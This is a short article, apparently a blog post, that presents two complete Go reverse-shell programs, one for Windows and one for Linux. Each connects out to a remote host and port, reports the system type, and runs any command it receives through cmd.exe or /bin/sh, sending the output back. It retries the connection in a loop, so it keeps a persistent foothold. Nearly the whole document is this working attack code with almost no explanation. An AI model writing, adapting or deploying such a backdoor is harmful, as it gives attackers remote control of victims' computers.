A Simple Reverse Shell In Golang 🐚
This article assumes programming proficiency in Golang
and familiarity with network programming concepts such as TCP/IP & sockets.
Shell Shoveling In Golang
This is a simple example of a reverse shell I wrote in the programming language Go
. This first code snippet was written for the Windows operating system.
package main
import (
"bufio"
"fmt"
"net"
"os"
"os/exec"
"runtime"
"strings"
"time"
)
func main() {
for {
conn, err := net.Dial("tcp", "192.168.0.9:6666")
if err != nil {
time.Sleep(10 * time.Second)
continue
}
fmt.Fprintf(conn, "\nOS: %s\nArchitecture: %s\n", runtime.GOOS, runtime.GOARCH)
shell := os.Getenv("ComSpec")
fmt.Fprintf(conn, "shell: %s\n\n", shell)
scanner := bufio.NewScanner(conn)
for scanner.Scan() {
data := scanner.Text()
out, _ := exec.Command(
shell,
append(
[]string{"/C"},
// strings.Split(strings.TrimSpace(data), " ")...,
strings.TrimSpace(data),
)...,
).CombinedOutput()
fmt.Fprintf(conn, "\n%s\n", string(out))
}
if err := scanner.Err(); err != nil {
fmt.Fprintf(conn, "\nError: %s ...\n", err)
}
time.Sleep(5 * time.Second)
}
}
This second snippet was written for the linux operating system. You can see very minor differences.
package main
import (
"bufio"
"fmt"
"net"
"os/exec"
"runtime"
"strings"
"time"
)
func main() {
for {
conn, err := net.Dial("tcp", "localhost:6666")
if err != nil {
time.Sleep(10 * time.Second)
continue
}
fmt.Fprintf(conn, "\nOS: %s\nArchitecture: %s\n", runtime.GOOS, runtime.GOARCH)
shell := "/bin/sh"
fmt.Fprintf(conn, "shell: %s\n\n", shell)
scanner := bufio.NewScanner(conn)
for scanner.Scan() {
data := scanner.Text()
out, _ := exec.Command(
shell,
append(
[]string{"-c"},
strings.TrimSpace(data),
)...,
).CombinedOutput()
// cmd := strings.Split(strings.TrimSpace(data), " ")
// out, _ := exec.Command(cmd[0], cmd[1:]...).CombinedOutput()
fmt.Fprintf(conn, "\n%s\n", string(out))
}
if err := scanner.Err(); err != nil {
fmt.Fprintf(conn, "\nError: %s ...\n", err)
}
time.Sleep(5 * time.Second)
}
}